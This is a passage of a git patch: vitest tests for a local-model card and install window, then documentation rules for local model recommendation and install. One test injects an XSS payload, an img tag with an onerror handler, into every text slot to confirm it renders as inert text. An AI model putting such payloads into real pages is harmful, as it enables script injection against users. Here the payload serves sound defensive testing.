expect(texts(row, part)).toEqual(texts(card, part)); - expect(texts(row, part).length).toBeGreaterThan(0); - } - expect(texts(row, '.local-model-alt')).toEqual(texts(card, '.local-model-alt')); - expect(texts(row, '.local-model-next')).toEqual([NEXT_STEP]); - // The card folds the list behind a native disclosure; Settings scrolls, so it lists them. - expect(card.querySelector('details.local-model-alts')).not.toBeNull(); - expect((card.querySelector('details') as HTMLDetailsElement).open).toBe(false); - expect(row.querySelector('details')).toBeNull(); - // The row has no chrome of the card: no title, no Hide. - expect(row.querySelector('button')).toBeNull(); - }); - - it('keeps the alternatives unfolded across a repaint of the card', async () => { - const { newApp, card } = mount(); - const app = newApp(ok(OK_STATUS)); - await app.loadLocalModel(); - (card.querySelector('details') as HTMLDetailsElement).open = true; - app.renderLocalModel(); - expect((card.querySelector('details') as HTMLDetailsElement).open).toBe(true); - }); -}); - -describe('payload text is text', () => { - const EVIL = '<img src=x onerror="window.__pwned = 1">'; - - it('renders markup in a name, a license or a sentence slot as characters, and runs nothing', async () => { - const { dom, newApp, card, row } = mount(); - const evil = candidate({ modelLabel: EVIL, modelId: `m:${EVIL}`, cliLabel: EVIL, license: EVIL, needGb: EVIL }); - const answer = status( - { - // A slot value is server text too. - headline: { text: LOCAL_MODEL_LABELS.noneMacos, vars: { version: EVIL, minimum: EVIL } }, - notes: [{ text: LOCAL_MODEL_LABELS.noneMemory, vars: { memory: EVIL } }], - pick: evil, - alternatives: [evil], - budgetGb: EVIL, - }, - { chip: EVIL, memGb: EVIL, freeDiskGb: EVIL } - ); - await newApp(ok(answer)).loadLocalModel(); - expect(card.hidden).toBe(false); - for (const root of [card, row]) { - expect(root.querySelector('img')).toBeNull(); - expect(root.querySelector('script, iframe, a, [onerror]')).toBeNull(); - // The memory is a number or nothing: text in its place (`memGb` here) is never printed. - expect(texts(root, '.local-model-hw')[0]).toBe(`${EVIL}, 48 GB memory, ${EVIL} GB free`); - expect(texts(root, '.local-model-headline')[0]).toBe( - `This Mac runs macOS ${EVIL}. Local models need macOS ${EVIL} or newer.` - ); - expect(texts(root, '.local-model-name')[0]).toBe(`${EVIL} (m:${EVIL}) with ${EVIL}`); - expect(texts(root, '.local-model-pick .local-model-line')[0]).toContain(` · ${EVIL}`); - expect(texts(root, '.local-model-note')[0]).toContain(`This Mac has ${EVIL} GB of memory.`); - } - expect((dom.window as unknown as { __pwned?: number }).__pwned).toBeUndefined(); - }); - - it('never assigns markup: the module has no innerHTML, outerHTML or insertAdjacentHTML', () => { - expect(MODULE).not.toMatch(/innerHTML|outerHTML|insertAdjacentHTML|document\.write/); - }); - - it('shows a label the contract does not know as it came, still as text', async () => { - const { newApp, card } = mount(); - const odd = candidate({ fitLabel: EVIL as Candidate['fitLabel'], speedLabel: undefined }); - await newApp(ok(status({ pick: odd }))).loadLocalModel(); - expect(texts(card, '.local-model-pill')).toEqual([EVIL]); - expect(card.querySelector('img')).toBeNull(); - }); -}); - -describe('hiding the card', () => { - it('hides it on this device for good, and leaves the Settings row as the way back', async () => { - const { dom, newApp, card, row } = mount(); - const app = newApp(ok(OK_STATUS)); - await app.loadLocalModel(); - const hide = card.querySelector('button.local-model-hide') as HTMLButtonElement; - expect(hide.textContent).toBe('Hide'); - expect(hide.type).toBe('button'); - expect(hide.title).toBe('Hide this card on this device. It stays in App Settings, under Models.'); - hide.click(); - expect(card.hidden).toBe(true); - expect(card.textContent).toBe(''); - expect(dom.window.localStorage.getItem(DISMISS_KEY)).toBe('1'); - expect(texts(row, '.local-model-name')[0]).toBe('Qwen3.8 27B (qwen3.8:27b) with OpenCode'); - - // A reload is a new app instance over the same storage. - const reloaded = newApp(ok(OK_STATUS)); - expect(reloaded.isLocalModelCardDismissed()).toBe(true); - await reloaded.loadLocalModel(); - expect(card.hidden).toBe(true); - expect(texts(row, '.local-model-headline')).toEqual(['Best fit for this Mac']); - }); - - it('shows the card on a device that never hid it', async () => { - const { dom, newApp, card } = mount(); - expect(dom.window.localStorage.getItem(DISMISS_KEY)).toBeNull(); - await newApp(ok(OK_STATUS)).loadLocalModel(); - expect(card.hidden).toBe(false); - }); - - it('stays hidden for the page load when storage is blocked', async () => { - const { dom, newApp, card } = mount(); - const storage = dom.window.Storage.prototype; - vi.spyOn(storage, 'getItem').mockImplementation(() => { - throw new Error('blocked'); - }); - vi.spyOn(storage, 'setItem').mockImplementation(() => { - throw new Error('blocked'); - }); - const app = newApp(ok(OK_STATUS)); - await app.loadLocalModel(); - expect(card.hidden).toBe(false); - app.dismissLocalModelCard(); - expect(card.hidden).toBe(true); - app.renderLocalModel(); - expect(card.hidden).toBe(true); - vi.restoreAllMocks(); - }); - - it('writes nothing to the server: the only request the module ever makes is the GET', async () => { - const { newApp, card } = mount(); - const app = newApp(ok(OK_STATUS)); - await app.loadLocalModel(); - (card.querySelector('button.local-model-hide') as HTMLButtonElement).click(); - expect(app._api.mock.calls).toEqual([['/api/local-model']]); - }); -}); - -describe('the request', () => { - it('goes through the base path when Codeman is mounted under one', async () => { - const before = "const CodemanBase = { base: '/cm', url: (path) => '/cm' + path };"; - const { newApp } = mount({ before }); - const app = newApp(ok(OK_STATUS)); - await app.loadLocalModel(); - expect(app._api.mock.calls).toEqual([['/cm/api/local-model']]); - }); - - it('is sent once a minute at most, and shared while in flight', async () => { - const { dom, newApp, card } = mount(); - let now = 1_000_000; - (dom.window as unknown as { Date: DateConstructor }).Date.now = () => now; - const app = newApp(ok(OK_STATUS)); - const first = app.loadLocalModel(); - const second = app.loadLocalModel(); - await Promise.all([first, second]); - expect(app._api).toHaveBeenCalledTimes(1); - - now += 59_000; - await app.loadLocalModel(); - expect(app._api).toHaveBeenCalledTimes(1); - - now += 2_000; - await app.loadLocalModel(); - expect(app._api).toHaveBeenCalledTimes(2); - expect(card.hidden).toBe(false); - }); - - it('keeps the answer on screen when a later refresh fails', async () => { - const { dom, newApp, card, row } = mount(); - let now = 1_000_000; - (dom.window as unknown as { Date: DateConstructor }).Date.now = () => now; - const answers: ApiResponse[] = [ok(OK_STATUS), null]; - const app = newApp(async () => answers.shift() ?? null); - await app.loadLocalModel(); - now += 61_000; - await app.loadLocalModel(); - expect(app._api).toHaveBeenCalledTimes(2); - expect(card.hidden).toBe(false); - expect(texts(row, '.local-model-headline')).toEqual(['Best fit for this Mac']); - expect(row.textContent).not.toContain('Could not reach the server.'); - }); -}); - -describe('with the real translator', () => { - it('renders in Chinese, and follows a language or display-name change without a reload', async () => { - const { newApp, card, row, i18n } = mount({ i18n: true }); - i18n.start(); - i18n.configure({ language: 'zh-CN' }); - const app = newApp(ok(OK_STATUS)); - await app.loadLocalModel(); - expect(texts(card, '.local-model-headline')).toEqual(['最适合此 Mac 的选择']); - expect(texts(card, '.local-model-pill')).toEqual(['良好', '速度未知', '良好', '偏紧', '较慢']); - expect((card.querySelector('.local-model-pill') as HTMLElement).title).toBe( - '内存占用:需要此 Mac 可分配给模型的内存的 79%' - ); - // Names and numbers ride the slots untouched. - expect(texts(card, '.local-model-name')[0]).toBe('Qwen3.8 27B(qwen3.8:27b),搭配 OpenCode'); - expect(texts(row, '.local-model-hw')).toEqual(['Apple M5 Pro,内存 48 GB,可用磁盘空间 912 GB']); - - // Both containers are data-i18n-skip, so the module itself must repaint. - i18n.configure({ language: 'en' }); +describe('in another language', () => { + it('repaints the button, the row and the open window when the language changes', async () => { + const page = mount({ i18n: true }); + page.win.CodemanI18n.start(); + await opened(page, IDLE); + expect(buttons(page.body)).toEqual(['Install on this Mac']); + page.win.CodemanI18n.configure({ language: 'zh-CN' }); await settle(); - expect(texts(card, '.local-model-headline')).toEqual(['Best fit for this Mac']); - expect(texts(row, '.local-model-next')).toEqual([NEXT_STEP]); - - i18n.configure({ displayName: 'Acme' }); + expect(buttons(page.body)).toEqual(['安装到此 Mac']); + expect(page.button.textContent!.trim()).toBe('运行本地模型'); + expect(texts(page.row, '.set-row-label')).toEqual(['尚未安装模型']); + expect(texts(page.body, '.lm-figure')).toEqual(['约需 36.0 GB 内存,共 37.6 GB 可用']); + // Names are someone else's text and stay as sent; the server's tag is translated. + expect(texts(page.body, '.lm-model-name')[0]).toBe('Qwen3.6 35B-A3B'); + expect(texts(page.body, '.lm-tag')[0]).toBe('已在同类 Mac 上测试'); + // The static title is the page translator's. + expect(page.document.getElementById('localModelModalTitle')!.textContent).toBe('在此 Mac 上运行模型'); + page.win.CodemanI18n.configure({ language: 'en' }); await settle(); - expect(texts(card, '.local-model-next')).toEqual([ - 'Acme cannot download or install this for you yet. That is the next step, and it is not built yet.', + expect(buttons(page.body)).toEqual(['Install on this Mac']); + }); +}); + +describe('a repaint of everything', () => { + it('reaches a progress screen whole when the language changes, not its bar alone', async () => { + const page = mount({ i18n: true }); + page.win.CodemanI18n.start(); + await opened(page, INSTALLING); + expect(texts(page.body, '.lm-title')).toEqual(['Installing Qwen3.6 35B-A3B']); + page.win.CodemanI18n.configure({ language: 'zh-CN' }); + await settle(); + // Title, figure, steps, note and button: every word of the screen, not the bar's line only. + expect(texts(page.body, '.lm-title')).toEqual(['正在安装 Qwen3.6 35B-A3B']); + expect(texts(page.body, '.lm-figure')).toEqual(['已下载 6.2 GB,共 23.1 GB']); + expect(texts(page.body, '.lm-figure-aside')).toEqual(['每秒 58 MB,剩余约 5 分钟']); + expect(texts(page.body, 'ol.lm-steps > li')).toEqual([ + '获取运行时', + '下载模型', + '加载并检查', + '安装 OpenCode', + '正在连接', + ]); + expect(buttons(page.body)).toEqual(['取消']); + expect(page.body.textContent).not.toMatch(/Installing|Cancel|You can close/); + page.win.CodemanI18n.configure({ language: 'en' }); + await settle(); + expect(buttons(page.body)).toEqual(['Cancel']); + expect(texts(page.body, 'ol.lm-steps > li')[0]).toBe('Getting the runtime'); + }); + + it('follows a display name that changed while a download is on screen', async () => { + const page = mount({ i18n: true }); + page.win.CodemanI18n.start(); + await opened(page, INSTALLING); + page.win.CodemanI18n.configure({ language: 'en', displayName: 'Acme' }); + await settle(); + expect(texts(page.body, '.lm-aside')).toEqual([ + 'You can close this window. The download continues while Acme is running.', ]); }); - it('leaves a slot-shaped piece of a model name alone', async () => { - const { newApp, card, i18n } = mount({ i18n: true }); - i18n.start(); - const odd = candidate({ modelLabel: 'Model {harness} {name}' }); - await newApp(ok(status({ pick: odd }))).loadLocalModel(); + it('paints the whole screen again when the window is reopened on the same download', async () => { + const page = mount(); + const { app } = await opened(page, INSTALLING); + app.closeLocalModelWindow(); + // Whatever the closed window still holds is not trusted: here, a title something else wrote. + page.body.querySelector('.lm-title')!.textContent = 'stale'; + app.openLocalModelWindow(); await settle(); - // The DOM translator would empty `{harness}` and brand `{name}`; the skip attribute keeps it out. - expect(texts(card, '.local-model-name')[0]).toBe('Model {harness} {name} (qwen3.8:27b) with OpenCode'); + expect(texts(page.body, '.lm-title')).toEqual(['Installing Qwen3.6 35B-A3B']); + expect(buttons(page.body)).toEqual(['Cancel']); + }); +}); + +describe('the module keeps to its rules', () => { + /** U+2192, U+00B7, U+2013 and U+2014, built from their code points so this file holds none of them. */ + const ORNAMENT = new RegExp(`[${String.fromCharCode(0x2192, 0x00b7, 0x2013, 0x2014)}]`); + const code = MODULE.split('\n') + .filter((line) => !/^\s*(\/\/|\*|\/\*)/.test(line)) + .join('\n'); + + it('never says "Recommended" by itself: that headline is the server\'s to send', () => { + expect(code).not.toMatch(/recommended/i); + }); + + it("prints the developer tools sentence in the contract's exact words", () => { + expect(code).toContain(`'${LOCAL_MODEL_INSTALL_LABELS.developerToolsMissing}'`); + }); + + it('uses the words of the reader: no VRAM, no endpoint, no harness, no context window', () => { + const strings = [...MODULE.matchAll(/localModelT\(\s*'([^']+)'/g)].map((match) => match[1]); + expect(strings.length).toBeGreaterThan(60); + for (const text of strings) { + expect(text, text).not.toMatch(/VRAM|endpoint|harness|context window/i); + // No arrow on a button, no middle dot between facts, no long dash. + expect(text, text).not.toMatch(ORNAMENT); + } + }); + + it('asks the routes of the contract, under the base path', async () => { + const page = mount(); + const context = page.dom.getInternalVMContext(); + vm.runInContext('var CodemanBase = { url: (path) => "/codeman" + path };', context); + const { app } = await opened(page, INSTALLING, () => ok(PAUSED.install)); + press(page.body, 'Cancel'); + await settle(); + expect(app._api.mock.calls[0][0]).toBe('/codeman/api/local-model'); + expect(verbs(app)).toEqual([['POST', '/codeman/api/local-model/cancel', undefined]]); }); }); From 7238ced571745f89aa9275bf126f944137d82db7 Mon Sep 17 00:00:00 2001 From: Codeman maintainer <noreply@anthropic.com> Date: Fri, 6 Nov 2026 22:16:38 +0100 Subject: [PATCH 17/28] docs(local-model): the install guide, the API and the rules docs/local-models.md is the guide: the steps, the layout on disk, what is written outside the folder, the failures and their next steps. The API reference documents the install object and the five verbs, and how the list is ordered. The rules for the server side are in CLAUDE.md and architecture-invariants.md, the user-facing pages in the wiki. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> --- CLAUDE.md | 8 +- docs/api-reference.md | 79 +++++++-- docs/architecture-invariants.md | 32 ++++ docs/custom-model-endpoints.md | 39 +++++ docs/local-models.md | 255 ++++++++++++++++++++++++++++ docs/versioning-policy.md | 29 ++-- docs/wiki/Custom-Model-Endpoints.md | 39 +++++ docs/wiki/Settings-Reference.md | 32 ++-- 8 files changed, 475 insertions(+), 38 deletions(-) create mode 100644 docs/local-models.md diff --git a/CLAUDE.md b/CLAUDE.md index 496d72b8..5ad992e3 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -187,11 +187,13 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph **Case rename** (`POST /api/cases/:name/rename`, `src/case-rename.ts`; `docs/wiki/Core-Concepts.md#case`): a case under the cases dir is its folder name and always moves; a linked case renames its alias and moves its real folder only with `renameFolder`; remote and Docker cases are refused. ⚠️ A folder that sessions have open is the hazard: live sessions at or under it make the route answer `409 requiresStop` with their names, and only `stopSessions: true` ends them (via `ctx.cleanupSession`: closed like a tab close, uploads included, nothing is restarted); the free-target pre-check runs before that and refuses a dangling symlink too (`lstat`, as `moveCaseFolder` does), so no session is ended for a move that cannot happen. `withCaseLock` holds the old and new paths for the whole operation (`isCasePathLocked`; the `Session` constructor throws for a working directory inside a held path, so nothing is constructed mid-move). ⚠️ A create awaits the owner's layout lock and a settings read between `new Session` and the server's map, where the rename looks for open sessions, so the constructor also records the session (`noteCaseSessionStarting`) until `registerSessionWithLayout()` or `stop()` settles it (30 s TTL for one that never registers), and a folder move refuses `409` with `renameCode: "BUSY"` while one is recorded at or under the folder (`isCaseSessionStarting`, checked in the same tick that takes the lock); an alias-only rename is not refused. A create whose path was validated before the move but whose `Session` is constructed after it is not covered (the plain check-then-use race of any create path), `moveCaseFolder` refuses an existing target itself (POSIX `rename` would silently replace an EMPTY directory) and retries `EBUSY`/`EPERM`/`EACCES` before answering `423 LOCKED`. If the registries (`linked-cases.json`, `caseOrder`, `lastUsedCase`) fail after the move, `settings.json` and the folder are put back (a failed move-back says the folder is now at the new path), and an error after `stopSessions` carries `stoppedSessions`. Claude Code keys history by path (`claudeProjectDirName`: every non-alphanumeric becomes `-`), so `<claude config>/projects/<old>` is renamed too, or merged entry by entry, never overwriting, into one already at the new key (case delete never removes history, so an earlier case of the new name leaves one); other CLIs' history, Docker bind mounts, `git worktree` links, cron jobs' `workingDir`, Claude history of subfolder sessions and Claude Code's per-project entry in `~/.claude.json` (local-scope `mcpServers`, `allowedTools`, trust; writing another CLI's config is the opt-in MCP sync's job) are NOT migrated. The history scanner prefers the decoded project key over a transcript's `cwd` that no longer exists, so Resume follows a rename. Only an admin's rename touches the server-wide `settings.json` (`caseOrder`, `lastUsedCase`); the owner's default session group is carried across with `TabLayoutService`. `settings.json` is written before `linked-cases.json`, so a failed or refused registry write puts `settings.json` back and leaves the registry as it was. ⚠️ Every write to `linked-cases.json` (link, unlink, rename, and a create or clone into a custom folder) goes through `mutateLinkedCases()` (`src/web/linked-cases-writer.ts`: serialized, temp file + rename, and a file that does not parse is refused, never read as `{}`; the one direct writer is config-backup restore, `restoreConfigBackup()`, which must work on such a file), and a check that must still hold when the entry is written (the name is free; for a rename, the old entry still names the folder) runs INSIDE its callback: two clones that claimed one name used to both pass a re-read made outside it and both answer success. Pinned by `test/linked-cases-writer.test.ts`, and for a rename by `test/routes/case-rename-routes.test.ts`. -**Custom Model Endpoint Profiles** (opt-in, `customModelEndpointsEnabled`, SYNCED, default OFF; `docs/custom-model-endpoints.md`): points a session at a user-configured OpenAI-compatible endpoint (store `custom-model-hosts.ts`, `~/.codeman/custom-model-hosts.json`, 0600). `authStyle` is `bearer` or `api-key`, never both headers (hangs the server). The per-CLI redirect is registry data, `capabilities.customModelInjection` (`env` / `configContentEnv` / `configDir` / `unsupported`), computed by the pure `custom-model-injection.ts`; ⚠️ `configDir` writes an isolated per-session config, NEVER the user's real `~/.codex`/`~/.pi`/`~/.omp`/grok config; the one exception is a recipe's `linkFromRealHome` (deepseek's `profiles`, `sessions`, `settings.yaml`), which symlinks those named entries back out of the real home so they survive the redirect. ⚠️ Claude applies via `Session.restartCli()` (a relaunch in the existing pane, so the conversation is pinned as `resumeSessionId`), the rest one-shot at launch; retired env keys must also be `setenv -u`'d (`_pendingEnvUnsets`), since tmux env survives `respawn-pane`. ⚠️ Remote/Docker sessions are refused (400). ⚠️ Persist only KEYS (`__customModel`), never values (they carry the API key); the one exception is `ownEnv`'s `homeEnvVar` entry, the session's OWN home path (absolute only: a `clis.json` override can name any variable there), which `setCustomModel()` puts back on clear and recovery clamps, since the selection overwrote the tmux `setenv` that held it. ⚠️ Every redirectable var must be in that CLI's `privilegedEnvKeys`, and `ANTHROPIC_*` stays out of claude's `allowedPrefixes`. ⚠️ The Run-menu picker builds entries from `window.__codemanCustomModelClis` (escaped via `escapeScriptJson()`), never a hardcoded CLI id list, and launches through `run()` via a temporary `_runMode` swap, never `setRunMode()`. → [architecture-invariants#custom-model-endpoint-profiles](docs/architecture-invariants.md#custom-model-endpoint-profiles) +**Custom Model Endpoint Profiles** (opt-in, `customModelEndpointsEnabled`, SYNCED, default OFF; `docs/custom-model-endpoints.md`): points a session at a user-configured OpenAI-compatible endpoint (store `custom-model-hosts.ts`, `~/.codeman/custom-model-hosts.json`, 0600). `authStyle` is `bearer` or `api-key`, never both headers (hangs the server). The per-CLI redirect is registry data, `capabilities.customModelInjection` (`env` / `configContentEnv` / `configDir` / `unsupported`), computed by the pure `custom-model-injection.ts`; ⚠️ `configDir` writes an isolated per-session config, NEVER the user's real `~/.codex`/`~/.pi`/`~/.omp`/grok config; the one exception is a recipe's `linkFromRealHome` (deepseek's `profiles`, `sessions`, `settings.yaml`), which symlinks those named entries back out of the real home so they survive the redirect. ⚠️ Claude applies via `Session.restartCli()` (a relaunch in the existing pane, so the conversation is pinned as `resumeSessionId`), the rest one-shot at launch; retired env keys must also be `setenv -u`'d (`_pendingEnvUnsets`), since tmux env survives `respawn-pane`. ⚠️ Remote/Docker sessions are refused (400). ⚠️ Persist only KEYS (`__customModel`), never values (they carry the API key); the one exception is `ownEnv`'s `homeEnvVar` entry, the session's OWN home path (absolute only: a `clis.json` override can name any variable there), which `setCustomModel()` puts back on clear and recovery clamps, since the selection overwrote the tmux `setenv` that held it. ⚠️ Every redirectable var must be in that CLI's `privilegedEnvKeys`, and `ANTHROPIC_*` stays out of claude's `allowedPrefixes`. ⚠️ The Run-menu picker builds entries from `window.__codemanCustomModelClis` (escaped via `escapeScriptJson()`), never a hardcoded CLI id list, and launches through `run()` via a temporary `_runMode` swap, never `setRunMode()`. ⚠️ Every write of `custom-model-hosts.json` goes through `mutateCustomModelHosts()` (`src/custom-model-hosts-writer.ts`: one at a time, temp file + rename, the route's check inside the callback, and a file that does not parse is refused with 409, never read as `[]` and replaced); the one direct writer is config-backup restore. The endpoint id `local-ollama` is reserved for the local model install (see Local model install). Pinned by `test/custom-model-hosts-writer.test.ts`. → [architecture-invariants#custom-model-endpoint-profiles](docs/architecture-invariants.md#custom-model-endpoint-profiles) ⚠️ **llama-swap endpoints** (one model at a time): the apply routes check `GET /running` and return `requiresConfirmation` before evicting a model another live session uses; `confirmedSwap` and `confirmedContext` are SEPARATE flags and must stay so. Claude alone gets a context floor (`CLAUDE_MIN_SAFE_CONTEXT_TOKENS`); context is parsed from `/running`'s `cmd`, never trusted from `/props`. The floor also divides that context by the model's parallel slot count (`modelSlotCounts`: `--parallel`/`-np` from `cmd`, else `/props` `total_slots`; `perSlotContext()`), and `/props` only ever RAISES that warning: it supplies the context only when `cmd` states none and the count only when `cmd` has no `--parallel`, never a larger pool. `/props` is probed once per launch command (it refreshes llama-swap's last-use time, so a `ttl` would never expire), and a `/props` context beside an explicit `--parallel N` is already per slot, so it is not divided again. Backend log lines come from llama-swap's `/api/events` `upstream` source, never `/logs`. → [architecture-invariants#custom-model-endpoint-profiles](docs/architecture-invariants.md#custom-model-endpoint-profiles) -**Local model recommendation** (`GET /api/local-model`, `src/local-model/`, `src/config/local-model-catalog.ts`, `src/types/local-model.ts`; EXPERIMENTAL, read-only stage): the server looks at the Mac it runs on and says which local coding model fits it and with which agent CLI. ⚠️ **Read-only**: it downloads nothing, installs nothing, writes no file and adds no settings key; the install flow is a later stage and nothing here may grow a write before it. Apple silicon macOS only: anywhere else the answer is a `200` with verdict `none` (reasons `not-macos`, `intel`, `memory`, `disk`, `macos`, `no-harness`), and a failed probe is an answer, never a 500. The probe (`hardware.ts`) is ONE bounded async spawn of `/usr/sbin/sysctl` WITHOUT `-n`, parsed as `key: value` lines by the pure `parseSysctl()`, plus `statfs` of the data dir (probed bounded first, #516) and `node:os` fallbacks, cached 60 s; ⚠️ never `system_profiler`, never a second spawn, and `iogpu.wired_limit_mb` of 0 means not set. The catalogue is a compiled constant validated by a Zod schema: ⚠️ no override file and no runtime data, and a model id is `name:tag` in lowercase with no slash (`LOCAL_MODEL_ID_PATTERN`). ⚠️ A harness is a catalogue ROW (`{ cli, minContext, rank, gated?, slowFirstTurn? }`) plus a `HarnessFact` built from the CLI registry at call time (`harness-facts.ts`); no code compares a CLI id (both id-branching guards scan these files). `recommend()` (`recommend.ts`) is pure. ⚠️ `limited` is a statement about the MAC (no model with 12 billion parameters or more fits), judged before the disk filter and whatever the pick is; a small pick under `ok` carries `noteSmallPick`, and a model left out for disk space is named in `noteDiskDropped`, never dropped in silence. ⚠️ The word "Recommended" exists only in `headlineTested` and is sent only when the pick's model has a `tested` entry for exactly this chip, memory size and harness; no row has one today. ⚠️ Speed is `ok`/`slow`/`unknown`, graded on the unrounded figure, and a chip in no chips row is `unknown`: never guess a bandwidth. ⚠️ ONE unit for every computed size a person reads: decimal GB text from `formatGb()` (`format.ts`), sent beside the bytes, and the browser never divides bytes; the one exception is the installed memory, shown as `memClassGb` (the size the Mac is sold as, 48 and not 51.5). ⚠️ Every sentence the server chooses is a `LOCAL_MODEL_LABELS` text with `{placeholder}` slots filled from `vars` (no apostrophe in a text: the zh-CN key is single-quoted), and each needs a zh-CN entry. Admin only in multi-user mode (403 before anything is probed). Tests: `test/local-model-*.test.ts`, `test/routes/local-model-routes.test.ts`. Card rules: `src/web/CLAUDE.md` (Model on this Mac). → `docs/api-reference.md` (Local model recommendation), `docs/versioning-policy.md` +**Local model recommendation** (`GET /api/local-model`, `src/local-model/`, `src/config/local-model-catalog.ts`, `src/types/local-model.ts`; EXPERIMENTAL): the server looks at the Mac it runs on and says which local coding model fits it and with which agent CLI. ⚠️ The READ side stays read-only: the probe, the catalogue and `recommend()` download nothing, install nothing and write nothing; everything that changes the machine is the install below, behind an explicit request. Apple silicon macOS only: anywhere else the answer is a `200` with verdict `none` (reasons `not-macos`, `intel`, `memory`, `disk`, `macos`, `no-harness`), and a failed probe is an answer, never a 500. The probe (`hardware.ts`) is ONE bounded async spawn of `/usr/sbin/sysctl` WITHOUT `-n`, parsed as `key: value` lines by the pure `parseSysctl()`, plus `statfs` of the data dir (probed bounded first, #516) and `node:os` fallbacks, cached 60 s; ⚠️ never `system_profiler`, never a second spawn, and `iogpu.wired_limit_mb` of 0 means not set. The catalogue is a compiled constant validated by a Zod schema: ⚠️ no override file and no runtime data, and a model id is `name:tag` in lowercase with no slash (`LOCAL_MODEL_ID_PATTERN`, so an id can never name another registry host). ⚠️ A harness is a catalogue ROW (`{ cli, minContext, rank, gated?, slowFirstTurn? }`) plus a `HarnessFact` built from the CLI registry at call time (`harness-facts.ts`); no code compares a CLI id (both id-branching guards scan these files). `recommend()` (`recommend.ts`) is pure. ⚠️ A model's need is its PEAK (`bytes + heldBytesPerToken * context + overheadBytes + peakExtraBytes`, measured on a Mac for one row and marked `estimated` on the others), judged against a budget that is `estimated` until the runtime ran and `measured` from then on (`RecommendOptions.measuredTotalBytes`). ⚠️ Ranking, lexicographic: tested on a Mac like this first, then speed `ok` before `unknown` before `slow`, then model rank, harness rank, larger context; the fit grade decides whether a row is listed and what it says, it does NOT sort, so a model is offered at the largest context it fits at. ⚠️ `limited` is a statement about the MAC (no model with 12 billion parameters or more fits), judged before the disk filter and whatever the pick is; a small pick under `ok` carries `noteSmallPick`, and a model left out for disk space is named in `noteDiskDropped`, never dropped in silence. ⚠️ The word "Recommended" exists only in `headlineTested`, and the tag "Tested on a Mac like this" only on a row whose model has a `tested` entry for exactly this chip, memory size and harness. ⚠️ Speed is `ok`/`slow`/`unknown`, graded on the unrounded figure, and a chip in no chips row is `unknown`: never guess a bandwidth. ⚠️ ONE unit for every computed size a person reads: decimal GB text from `formatGb()` (`format.ts`), sent beside the bytes, and the browser never divides bytes; the one exception is the installed memory, shown as `memClassGb` (the size the Mac is sold as, 48 and not 51.5). ⚠️ Every sentence the server chooses is a `LOCAL_MODEL_LABELS`, `LOCAL_MODEL_TAG_LABELS` or `LOCAL_MODEL_INSTALL_LABELS` text with `{placeholder}` slots filled from `vars` (no apostrophe in a text: the zh-CN key is single-quoted), and each needs a zh-CN entry. Admin only in multi-user mode (403 before anything is probed). Tests: `test/local-model-*.test.ts`, `test/routes/local-model-routes.test.ts`. Window rules: `src/web/CLAUDE.md` (Run a model on this Mac). → `docs/api-reference.md` (Local model), `docs/versioning-policy.md` + +**Local model install** (`POST /api/local-model/install|cancel|resume|runtime`, `DELETE /api/local-model`; `src/local-model/{install-job,runtime,ollama-client,connect,state-store,paths,developer-tools}.ts`; EXPERIMENTAL, admin only in multi-user mode on EVERY verb; guide `docs/local-models.md`): installs the chosen model on the Mac the server runs on and ends on a session of the coding agent running on it. ONE job of five idempotent steps (`runtime`, `model`, `verify`, `agent`, `connect`; `agent` only when the coding agent is missing), a pure reducer (`reduceInstallJob()`) over three tables in `install-job.ts` driven by one service per process (`getLocalModelService()`); the window polls the GET once a second, no SSE event. ⚠️ Layout only through `localModelPaths()` (all `dataPath()`): `local-model/runtime/ollama-<version>/`, `local-model/models/`, `local-model/home/` (the runtime's PRIVATE HOME, so the user's `~/.ollama` is never touched) and the state file `local-model.json` (0600, ONE serialized writer, total reader, holds NO path); nothing is written or deleted outside `local-model/` except that file and the two writes of the connect step. ⚠️ The runtime pin (`OLLAMA_RUNTIME_PIN`: version, URL, size, sha256) is a COMPILED constant no file, setting or request may supply; the hash is compared BEFORE anything is unpacked. ⚠️ The runtime is a NON-detached child whose environment comes from the `runtimeEnv()` ALLOWLIST, never `process.env` (no `CODEMAN_*`, none of the user's `OLLAMA_*`); the port is chosen ONCE by binding (from 11435, never 11434) and stored; a listener on it is adopted or replaced only when its stored pid runs a binary under OUR runtime folder, anything else is `port-in-use`; started at boot when installed and enabled, max 3 restarts, SIGTERM at shutdown beside `stopDeepSeekWeb()`; under vitest nothing spawns or fetches. ⚠️ Consent is bound to the size: `acknowledgedBytes` must equal the server's own total (`Candidate.installBytes`) or the answer is 409 `size-changed`; the model, context and CLI must be a row the current recommendation offers (400). ⚠️ ONE job at a time (409 `job-running`); a job a restart interrupted comes back `paused` and NEVER continues without a click (so `shutdown()` writes nothing), and an interrupted step is never recorded as failed. ⚠️ An event the transition table does not list is refused (same object back, 409 `wrong-state`): add a row to the table, never a special case. ⚠️ The budget is MEASURED from the runtime's "inference compute" log line and the model judged against it BEFORE it is downloaded. ⚠️ The pull stream is parsed incrementally (about 1.4 million lines for 23 GB): never buffer it, never write state per line. ⚠️ A failure is a code with ONE next step (`LOCAL_MODEL_ERROR_NEXT`), never a bare "failed"; a probe that ended on its token limit is `probe-unfinished`, not `no-tool-call`. ⚠️ The coding agent is installed through the shared runner `src/cli-install-runner.ts` (extracted from `cli-registry-routes.ts`, ONE install slot per CLI for both callers) with `stockInstallCommand()`, the COMPILED stock command, never the `clis.json`-merged one (this path has no `cliManagementEnabled` gate); only for a catalogue harness row, after the consent click that showed the literal command, audited (`cli_install`, `via: 'local-model'`); afterwards `forgetResolvedCli()` and a fresh lookup, and still missing is `harness-failed`. ⚠️ Connect writes ONE endpoint record under the RESERVED id `local-ollama` through `mutateCustomModelHosts()` and `customModelEndpointsEnabled: true` through `mutateSettingsFile()`, remembering the flag's first value; a record with that id that is not ours is never overwritten, and while it is ours it is MANAGED: the endpoint routes refuse to edit or delete it and the discovery sweep skips it (the runtime's port has no login, so its `models` must stay the one model that was checked). ⚠️ The model digest is stored and read again at boot and before EVERY session start on that endpoint (`launchRefusalMessage()`, asked by both custom-model launch paths in `session-routes.ts`): a changed or missing model, a runtime Codeman did not start, or another model id refuses the launch with one sentence. ⚠️ Remove (409 `sessions-open` with the names while a live session uses the endpoint) undoes the connection FIRST, restores the flag only when this feature switched it on AND no other endpoint is saved, deletes only inside `local-model/` (the models only when asked), and leaves the coding agent. ⚠️ Developer tools: only `/usr/bin/xcode-select -p`, bounded; never `git`/`python3`/`xcrun` from the server (each opens a system window on such a Mac). Tests: `test/local-model-install-job.test.ts` (every state with every event), `-install-service`, `-install-e2e` (real modules 